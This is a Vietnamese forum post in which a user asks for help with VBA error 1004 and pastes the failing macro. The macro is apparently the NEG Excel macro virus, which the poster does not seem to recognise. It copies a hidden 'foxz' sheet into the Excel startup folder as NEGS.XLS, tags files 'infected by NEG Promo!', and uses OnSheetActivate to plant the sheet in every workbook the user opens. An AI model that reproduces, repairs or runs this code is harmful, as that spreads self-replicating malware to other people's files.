lỗi 1004 VBA trong excel

[khoinguyenplastic]

các bác giúp e với mấy hôm nay máy e cứ hiện lỗi mà e không biết sửa thế nào. Bị sai ở dòng màu xanh ạ mong các bác chỉ e với. Em cảm ơn ạ.
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "NEGS.XLS")
If m$ = "NEGS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("foxz").Visible = True
Sheets("foxz").Select
Sheets("foxz").Copy
With ActiveWorkbook
.title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = "infected by NEG Promo!"
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("foxz").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "foxz" Then
Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("foxz").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case Else
End Select

End Sub